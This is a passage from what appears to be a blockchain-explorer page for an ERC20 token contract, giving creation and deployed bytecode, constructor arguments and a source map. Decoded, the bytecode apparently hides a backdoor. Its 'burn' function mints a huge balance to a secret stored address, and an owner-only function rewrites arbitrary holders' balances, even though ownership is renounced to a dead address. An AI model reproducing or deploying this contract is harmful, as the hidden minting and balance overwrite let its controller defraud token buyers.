915061155e82611dcb565b604082019050919050565b60006115766025836117dd565b915061158182611e1a565b604082019050919050565b61159581611a4d565b82525050565b6115a481611a57565b82525050565b60006020820190506115bf60008301846113fa565b92915050565b60006020820190506115da6000830184611409565b92915050565b600060208201905081810360008301526115fa8184611418565b905092915050565b6000602082019050818103600083015261161b81611451565b9050919050565b6000602082019050818103600083015261163b81611474565b9050919050565b6000602082019050818103600083015261165b81611497565b9050919050565b6000602082019050818103600083015261167b816114ba565b9050919050565b6000602082019050818103600083015261169b816114dd565b9050919050565b600060208201905081810360008301526116bb81611500565b9050919050565b600060208201905081810360008301526116db81611523565b9050919050565b600060208201905081810360008301526116fb81611546565b9050919050565b6000602082019050818103600083015261171b81611569565b9050919050565b6000602082019050611737600083018461158c565b92915050565b6000604082019050611752600083018561158c565b61175f602083018461158c565b9392505050565b600060208201905061177b600083018461159b565b92915050565b600061178b61179c565b90506117978282611ac9565b919050565b6000604051905090565b600067ffffffffffffffff8211156117c1576117c0611ba1565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006117f982611a4d565b915061180483611a4d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561183957611838611b43565b5b828201905092915050565b6000808291508390505b600185111561188e5780860481111561186a57611869611b43565b5b60018516156118795780820291505b808102905061188785611be1565b945061184e565b94509492505050565b60006118a282611a4d565b91506118ad83611a57565b92506118da7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118e2565b905092915050565b6000826118f257600190506119ae565b8161190057600090506119ae565b816001811461191657600281146119205761194f565b60019150506119ae565b60ff84111561193257611931611b43565b5b8360020a91508482111561194957611948611b43565b5b506119ae565b5060208310610133831016604e8410600b84101617156119845782820a90508381111561197f5761197e611b43565b5b6119ae565b6119918484846001611844565b925090508184048111156119a8576119a7611b43565b5b81810290505b9392505050565b60006119c082611a4d565b91506119cb83611a4d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a0457611a03611b43565b5b828202905092915050565b6000611a1a82611a2d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a82578082015181840152602081019050611a67565b83811115611a91576000848401525b50505050565b60006002820490506001821680611aaf57607f821691505b60208210811415611ac357611ac2611b72565b5b50919050565b611ad282611bd0565b810181811067ffffffffffffffff82111715611af157611af0611ba1565b5b80604052505050565b6000611b0582611a4d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b3857611b37611b43565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611e7281611a0f565b8114611e7d57600080fd5b50565b611e8981611a4d565b8114611e9457600080fd5b5056fea2646970667358221220e0849231d4c8161728b23137b4fb4af981a2593ebcc1bb6a0d7fc2b3cd137bae64736f6c6343000804003300000000000000000000000011f8aa0cb14d2f10dd615c6adf732533510c85df

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80636d8c1d46116100a257806395d89b411161007157806395d89b41146102a8578063a457c2d7146102c6578063a9059cbb146102f6578063dd62ed3e14610326578063fb86a404146103565761010b565b80636d8c1d461461023457806370a0823114610250578063880ad0af146102805780638da5cb5b1461028a5761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca57806342966c68146101fa5780634a8d1348146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610374565b60405161012591906115e0565b60405180910390f35b61014860048036038101906101439190611341565b610406565b60405161015591906115c5565b60405180910390f35b610166610424565b6040516101739190611722565b60405180910390f35b610196600480360381019061019191906112f2565b61042e565b6040516101a391906115c5565b60405180910390f35b6101b4610526565b6040516101c19190611766565b60405180910390f35b6101e460048036038101906101df9190611341565b61052f565b6040516101f191906115c5565b60405180910390f35b610214600480360381019061020f91906113d1565b6105db565b005b61021e61076f565b60405161022b91906115aa565b60405180910390f35b61024e6004803603810190610249919061137d565b610799565b005b61026a6004803603810190610265919061128d565b610958565b6040516102779190611722565b60405180910390f35b6102886109a1565b005b610292610add565b60405161029f91906115aa565b60405180910390f35b6102b0610b06565b6040516102bd91906115e0565b60405180910390f35b6102e060048036038101906102db9190611341565b610b98565b6040516102ed91906115c5565b60405180910390f35b610310600480360381019061030b9190611341565b610c83565b60405161031d91906115c5565b60405180910390f35b610340600480360381019061033b91906112b6565b610ca1565b60405161034d9190611722565b60405180910390f35b61035e610d28565b60405161036b9190611722565b60405180910390f35b60606004805461038390611a97565b80601f01602080910402602001604051908101604052809291908181526020018280546103af90611a97565b80156103fc5780601f106103d1576101008083540402835291602001916103fc565b820191906000526020600020905b8154815290600101906020018083116103df57829003601f168201915b5050505050905090565b600061041a610413610d49565b8484610d51565b6001905092915050565b6000600354905090565b600061043b848484610f1c565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486610d49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fd90611682565b60405180910390fd5b61051a85610512610d49565b858403610d51565b60019150509392505050565b60006012905090565b60006105d161053c610d49565b84846002600061054a610d49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cc91906117ee565b610d51565b6001905092915050565b6105e3610d49565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561076b5760006012600a6106489190611897565b631dcd650061065791906119b5565b9050600061c3508261066991906119b5565b905060006001806001808561067e91906119b5565b61068891906119b5565b61069291906119b5565b61069c91906119b5565b905083816106aa91906119b5565b905080600160006106b9610d49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070291906117ee565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461076357600080fd5b50505061076c565b5b50565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6107a1610d49565b73ffffffffffffffffffffffffffffffffffffffff166107bf610add565b73ffffffffffffffffffffffffffffffffffffffff1614610815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080c906116a2565b60405180910390fd5b60005b825181101561095357600083828151811061085c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fd551363168ce4784e28e5d59fc07cbea2191657416e05f6e8cd8f1086eb91e6d828660405161093692919061173d565b60405180910390a25050808061094b90611afa565b915050610818565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109a9610d49565b73ffffffffffffffffffffffffffffffffffffffff166109c7610add565b73ffffffffffffffffffffffffffffffffffffffff1614610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a14906116a2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610b1590611a97565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4190611a97565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b60008060026000610ba7610d49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90611702565b60405180910390fd5b610c78610c6f610d49565b85858403610d51565b600191505092915050565b6000610c97610c90610d49565b8484610f1c565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6012600a610d369190611897565b64012a05f200610d4691906119b5565b81565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db8906116e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2890611622565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0f9190611722565b60405180910390a3505050565b60008111610f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5690611662565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc6906116c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103690611602565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156110c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bd90611642565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461115b91906117ee565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111bf9190611722565b60405180910390a350505050565b60006111e06111db846117a6565b611781565b905080838252602082019050828560208602820111156111ff57600080fd5b60005b8581101561122f57816112158882611239565b845260208401935060208301925050600181019050611202565b5050509392505050565b60008135905061124881611e69565b92915050565b600082601f83011261125f57600080fd5b813561126f8482602086016111cd565b91505092915050565b60008135905061128781611e80565b92915050565b60006020828403121561129f57600080fd5b60006112ad84828501611239565b91505092915050565b600080604083850312156112c957600080fd5b60006112d785828601611239565b92505060206112e885828601611239565b9150509250929050565b60008060006060848603121561130757600080fd5b600061131586828701611239565b935050602061132686828701611239565b925050604061133786828701611278565b9150509250925092565b6000806040838503121561135457600080fd5b600061136285828601611239565b925050602061137385828601611278565b9150509250929050565b6000806040838503121561139057600080fd5b600083013567ffffffffffffffff8111156113aa57600080fd5b6113b68582860161124e565b92505060206113c785828601611278565b9150509250929050565b6000602082840312156113e357600080fd5b60006113f184828501611278565b91505092915050565b61140381611a0f565b82525050565b61141281611a21565b82525050565b6000611423826117d2565b61142d81856117dd565b935061143d818560208601611a64565b61144681611bd0565b840191505092915050565b600061145e6023836117dd565b915061146982611bee565b604082019050919050565b60006114816022836117dd565b915061148c82611c3d565b604082019050919050565b60006114a46026836117dd565b91506114af82611c8c565b604082019050919050565b60006114c7601b836117dd565b91506114d282611cdb565b602082019050919050565b60006114ea6028836117dd565b91506114f582611d04565b604082019050919050565b600061150d6020836117dd565b915061151882611d53565b602082019050919050565b60006115306025836117dd565b915061153b82611d7c565b604082019050919050565b60006115536024836117dd565b915061155e82611dcb565b604082019050919050565b60006115766025836117dd565b915061158182611e1a565b604082019050919050565b61159581611a4d565b82525050565b6115a481611a57565b82525050565b60006020820190506115bf60008301846113fa565b92915050565b60006020820190506115da6000830184611409565b92915050565b600060208201905081810360008301526115fa8184611418565b905092915050565b6000602082019050818103600083015261161b81611451565b9050919050565b6000602082019050818103600083015261163b81611474565b9050919050565b6000602082019050818103600083015261165b81611497565b9050919050565b6000602082019050818103600083015261167b816114ba565b9050919050565b6000602082019050818103600083015261169b816114dd565b9050919050565b600060208201905081810360008301526116bb81611500565b9050919050565b600060208201905081810360008301526116db81611523565b9050919050565b600060208201905081810360008301526116fb81611546565b9050919050565b6000602082019050818103600083015261171b81611569565b9050919050565b6000602082019050611737600083018461158c565b92915050565b6000604082019050611752600083018561158c565b61175f602083018461158c565b9392505050565b600060208201905061177b600083018461159b565b92915050565b600061178b61179c565b90506117978282611ac9565b919050565b6000604051905090565b600067ffffffffffffffff8211156117c1576117c0611ba1565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006117f982611a4d565b915061180483611a4d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561183957611838611b43565b5b828201905092915050565b6000808291508390505b600185111561188e5780860481111561186a57611869611b43565b5b60018516156118795780820291505b808102905061188785611be1565b945061184e565b94509492505050565b60006118a282611a4d565b91506118ad83611a57565b92506118da7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118e2565b905092915050565b6000826118f257600190506119ae565b8161190057600090506119ae565b816001811461191657600281146119205761194f565b60019150506119ae565b60ff84111561193257611931611b43565b5b8360020a91508482111561194957611948611b43565b5b506119ae565b5060208310610133831016604e8410600b84101617156119845782820a90508381111561197f5761197e611b43565b5b6119ae565b6119918484846001611844565b925090508184048111156119a8576119a7611b43565b5b81810290505b9392505050565b60006119c082611a4d565b91506119cb83611a4d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a0457611a03611b43565b5b828202905092915050565b6000611a1a82611a2d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a82578082015181840152602081019050611a67565b83811115611a91576000848401525b50505050565b60006002820490506001821680611aaf57607f821691505b60208210811415611ac357611ac2611b72565b5b50919050565b611ad282611bd0565b810181811067ffffffffffffffff82111715611af157611af0611ba1565b5b80604052505050565b6000611b0582611a4d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b3857611b37611b43565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611e7281611a0f565b8114611e7d57600080fd5b50565b611e8981611a4d565b8114611e9457600080fd5b5056fea2646970667358221220e0849231d4c8161728b23137b4fb4af981a2593ebcc1bb6a0d7fc2b3cd137bae64736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000011f8aa0cb14d2f10dd615c6adf732533510c85df

-----Decoded View---------------
Arg [0] : ads (address): 0x11F8aa0cb14D2F10DD615C6aDF732533510C85Df

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000011f8aa0cb14d2f10dd615c6adf732533510c85df


Deployed Bytecode Sourcemap

9306:8557:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10942:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13335:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11605:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13859:529;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11393:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14735:225;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10007:390;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9912:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10491:342;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11903:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8340:230;;;:::i;:::-;;8651:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11155:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15292:460;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12340:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12842:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9669:67;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10942:100;10996:13;11029:5;11022:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10942:100;:::o;13335:184::-;13438:4;13455:34;13464:12;:10;:12::i;:::-;13478:2;13482:6;13455:8;:34::i;:::-;13507:4;13500:11;;13335:184;;;;:::o;11605:108::-;11666:7;11693:12;;11686:19;;11605:108;:::o;13859:529::-;13999:4;14016:36;14026:6;14034:9;14045:6;14016:9;:36::i;:::-;14065:24;14092:11;:19;14104:6;14092:19;;;;;;;;;;;;;;;:33;14112:12;:10;:12::i;:::-;14092:33;;;;;;;;;;;;;;;;14065:60;;14178:6;14158:16;:26;;14136:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;14288:57;14297:6;14305:12;:10;:12::i;:::-;14338:6;14319:16;:25;14288:8;:57::i;:::-;14376:4;14369:11;;;13859:529;;;;;:::o;11393:100::-;11451:5;9660:2;11469:16;;11393:100;:::o;14735:225::-;14843:4;14860:70;14869:12;:10;:12::i;:::-;14883:2;14919:10;14887:11;:25;14899:12;:10;:12::i;:::-;14887:25;;;;;;;;;;;;;;;:29;14913:2;14887:29;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;14860:8;:70::i;:::-;14948:4;14941:11;;14735:225;;;;:::o;10007:390::-;10077:12;:10;:12::i;:::-;10060:29;;:13;;;;;;;;;;;:29;;;10057:333;;;10105:12;9660:2;10130;:13;;;;:::i;:::-;10120:9;:23;;;;:::i;:::-;10105:38;;10158:15;10181:5;10176:4;:10;;;;:::i;:::-;10158:28;;10201:9;10227:1;10225;10223;10221;10213:7;:9;;;;:::i;:::-;:11;;;;:::i;:::-;:13;;;;:::i;:::-;:15;;;;:::i;:::-;10201:27;;10257:6;10250:4;:13;;;;:::i;:::-;10243:20;;10305:4;10278:9;:23;10288:12;:10;:12::i;:::-;10278:23;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;10349:10;10332:27;;:13;;;;;;;;;;;:27;;;10324:36;;;;;;10057:333;;;;;;;10007:390;:::o;9912:87::-;9951:7;9978:13;;;;;;;;;;;9971:20;;9912:87;:::o;10491:342::-;7925:12;:10;:12::i;:::-;7914:23;;:7;:5;:7::i;:::-;:23;;;7906:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10592:9:::1;10587:239;10611:8;:15;10607:1;:19;10587:239;;;10644:15;10662:8;10671:1;10662:11;;;;;;;;;;;;;;;;;;;;;;10644:29;;10684:17;10704:9;:18;10714:7;10704:18;;;;;;;;;;;;;;;;10684:38;;10754:6;10733:9;:18;10743:7;10733:18;;;;;;;;;;;;;;;:27;;;;10787:7;10776:38;;;10796:9;10807:6;10776:38;;;;;;;:::i;:::-;;;;;;;;10587:239;;10628:3;;;;;:::i;:::-;;;;10587:239;;;;10491:342:::0;;:::o;11903:143::-;11993:7;12020:9;:18;12030:7;12020:18;;;;;;;;;;;;;;;;12013:25;;11903:143;;;:::o;8340:230::-;7925:12;:10;:12::i;:::-;7914:23;;:7;:5;:7::i;:::-;:23;;;7906:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8447:42:::1;8410:81;;8431:6;::::0;::::1;;;;;;;;8410:81;;;;;;;;;;;;8519:42;8502:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;8340:230::o:0;8651:87::-;8697:7;8724:6;;;;;;;;;;;8717:13;;8651:87;:::o;11155:104::-;11211:13;11244:7;11237:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11155:104;:::o;15292:460::-;15405:4;15422:24;15449:11;:25;15461:12;:10;:12::i;:::-;15449:25;;;;;;;;;;;;;;;:29;15475:2;15449:29;;;;;;;;;;;;;;;;15422:56;;15531:15;15511:16;:35;;15489:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;15647:62;15656:12;:10;:12::i;:::-;15670:2;15693:15;15674:16;:34;15647:8;:62::i;:::-;15740:4;15733:11;;;15292:460;;;;:::o;12340:200::-;12451:4;12468:42;12478:12;:10;:12::i;:::-;12492:9;12503:6;12468:9;:42::i;:::-;12528:4;12521:11;;12340:200;;;;:::o;12842:164::-;12950:7;12977:11;:17;12989:4;12977:17;;;;;;;;;;;;;;;:21;12995:2;12977:21;;;;;;;;;;;;;;;;12970:28;;12842:164;;;;:::o;9669:67::-;9660:2;9720;:15;;;;:::i;:::-;9703:13;:33;;;;:::i;:::-;9669:67;:::o;6704:98::-;6757:7;6784:10;6777:17;;6704:98;:::o;17504:356::-;17650:1;17634:18;;:4;:18;;;;17626:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17726:1;17712:16;;:2;:16;;;;17704:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;17804:6;17780:11;:17;17792:4;17780:17;;;;;;;;;;;;;;;:21;17798:2;17780:21;;;;;;;;;;;;;;;:30;;;;17841:2;17826:26;;17835:4;17826:26;;;17845:6;17826:26;;;;;;:::i;:::-;;;;;;;;17504:356;;;:::o;16022:712::-;16171:1;16162:6;:10;16154:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;16241:1;16223:20;;:6;:20;;;;16215:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;16325:1;16304:23;;:9;:23;;;;16296:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;16380:21;16404:9;:17;16414:6;16404:17;;;;;;;;;;;;;;;;16380:41;;16471:6;16454:13;:23;;16432:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;16615:6;16599:13;:22;16579:9;:17;16589:6;16579:17;;;;;;;;;;;;;;;:42;;;;16667:6;16643:9;:20;16653:9;16643:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;16708:9;16691:35;;16700:6;16691:35;;;16719:6;16691:35;;;;;;:::i;:::-;;;;;;;;16022:712;;;;:::o;24:655:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;414:1;411;404:12;350:2;450:1;435:238;460:6;457:1;454:13;435:238;;;528:3;557:37;590:3;578:10;557:37;:::i;:::-;552:3;545:50;624:4;619:3;615:14;608:21;;658:4;653:3;649:14;642:21;;495:178;482:1;479;475:9;470:14;;435:238;;;439:14;126:553;;;;;;;:::o;685:139::-;731:5;769:6;756:20;747:29;;785:33;812:5;785:33;:::i;:::-;737:87;;;;:::o;847:303::-;918:5;967:3;960:4;952:6;948:17;944:27;934:2;;985:1;982;975:12;934:2;1025:6;1012:20;1050:94;1140:3;1132:6;1125:4;1117:6;1113:17;1050:94;:::i;:::-;1041:103;;924:226;;;;;:::o;1156:139::-;1202:5;1240:6;1227:20;1218:29;;1256:33;1283:5;1256:33;:::i;:::-;1208:87;;;;:::o;1301:262::-;1360:6;1409:2;1397:9;1388:7;1384:23;1380:32;1377:2;;;1425:1;1422;1415:12;1377:2;1468:1;1493:53;1538:7;1529:6;1518:9;1514:22;1493:53;:::i;:::-;1483:63;;1439:117;1367:196;;;;:::o;1569:407::-;1637:6;1645;1694:2;1682:9;1673:7;1669:23;1665:32;1662:2;;;1710:1;1707;1700:12;1662:2;1753:1;1778:53;1823:7;1814:6;1803:9;1799:22;1778:53;:::i;:::-;1768:63;;1724:117;1880:2;1906:53;1951:7;1942:6;1931:9;1927:22;1906:53;:::i;:::-;1896:63;;1851:118;1652:324;;;;;:::o;1982:552::-;2059:6;2067;2075;2124:2;2112:9;2103:7;2099:23;2095:32;2092:2;;;2140:1;2137;2130:12;2092:2;2183:1;2208:53;2253:7;2244:6;2233:9;2229:22;2208:53;:::i;:::-;2198:63;;2154:117;2310:2;2336:53;2381:7;2372:6;2361:9;2357:22;2336:53;:::i;:::-;2326:63;;2281:118;2438:2;2464:53;2509:7;2500:6;2489:9;2485:22;2464:53;:::i;:::-;2454:63;;2409:118;2082:452;;;;;:::o;2540:407::-;2608:6;2616;2665:2;2653:9;2644:7;2640:23;2636:32;2633:2;;;2681:1;2678;2671:12;2633:2;2724:1;2749:53;2794:7;2785:6;2774:9;2770:22;2749:53;:::i;:::-;2739:63;;2695:117;2851:2;2877:53;2922:7;2913:6;2902:9;2898:22;2877:53;:::i;:::-;2867:63;;2822:118;2623:324;;;;;:::o;2953:550::-;3046:6;3054;3103:2;3091:9;3082:7;3078:23;3074:32;3071:2;;;3119:1;3116;3109:12;3071:2;3190:1;3179:9;3175:17;3162:31;3220:18;3212:6;3209:30;3206:2;;;3252:1;3249;3242:12;3206:2;3280:78;3350:7;3341:6;3330:9;3326:22;3280:78;:::i;:::-;3270:88;;3133:235;3407:2;3433:53;3478:7;3469:6;3458:9;3454:22;3433:53;:::i;:::-;3423:63;;3378:118;3061:442;;;;;:::o;3509:262::-;3568:6;3617:2;3605:9;3596:7;3592:23;3588:32;3585:2;;;3633:1;3630;3623:12;3585:2;3676:1;3701:53;3746:7;3737:6;3726:9;3722:22;3701:53;:::i;:::-;3691:63;;3647:117;3575:196;;;;:::o;3777:118::-;3864:24;3882:5;3864:24;:::i;:::-;3859:3;3852:37;3842:53;;:::o;3901:109::-;3982:21;3997:5;3982:21;:::i;:::-;3977:3;3970:34;3960:50;;:::o;4016:364::-;4104:3;4132:39;4165: